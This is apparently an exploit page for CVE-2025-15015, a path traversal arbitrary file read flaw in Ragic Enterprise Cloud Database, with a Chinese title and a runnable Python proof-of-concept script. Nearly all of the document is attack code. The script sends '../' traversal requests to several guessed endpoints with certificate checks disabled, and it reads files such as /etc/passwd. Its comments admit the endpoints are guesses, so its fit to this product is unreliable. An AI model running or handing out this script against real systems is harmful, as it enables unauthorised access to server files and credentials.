CVE-2025-15015 Ragic Enterprise Cloud Database 任意文件读取漏洞

# CVE-2025-15015 PoC - Path Traversal in Ragic Enterprise Cloud Database # Target: Ragic Enterprise Cloud Database # Vulnerability: Arbitrary File Read via Relative Path Traversal import requests import sys def exploit_cve_2025_15015(target_url, file_path): """ Exploit for CVE-2025-15015: Arbitrary File Read vulnerability Args: target_url: Base URL of the vulnerable Ragic Enterprise Cloud Database file_path: Path to the file to read (e.g., /etc/passwd) Returns: File contents if successful, None otherwise """ # Convert absolute path to path traversal sequence # Example: /etc/passwd -> ../../../../etc/passwd traversal_prefix = "../" * 5 # Construct the malicious path # Adjust the number of ../ based on the actual file location malicious_path = traversal_prefix + file_path.lstrip("/") # Target endpoint (adjust based on actual vulnerable endpoint) # Common patterns for file read vulnerabilities endpoints = [ "/api/file/download", "/api/download", "/file/get", "/download", "/api/v1/file", "/api/v1/download" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "*/*", "Connection": "close" } for endpoint in endpoints: try: # Method 1: Query parameter url = f"{target_url.rstrip('/')}{endpoint}" params = {"path": malicious_path} response = requests.get(url, params=params, headers=headers, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Success with endpoint: {endpoint}") print(f"[*] File: {file_path}") return response.content # Method 2: Path parameter url = f"{target_url.rstrip('/')}{endpoint}/{malicious_path}" response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Success with endpoint: {endpoint} (path param)") print(f"[*] File: {file_path}") return response.content except requests.exceptions.RequestException as e: print(f"[-] Error with {endpoint}: {e}") continue return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_15015.py <target_url> <file_path>") print("Example: python cve_2025_15015.py https://vulnerable-server.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] print(f"[*] Target: {target}") print(f"[*] Attempting to read: {file_to_read}") result = exploit_cve_2025_15015(target, file_to_read) if result: print("\n[+] File Content:") print(result.decode('utf-8', errors='ignore')) else: print("[-] Exploitation failed - target may not be vulnerable or file not accessible")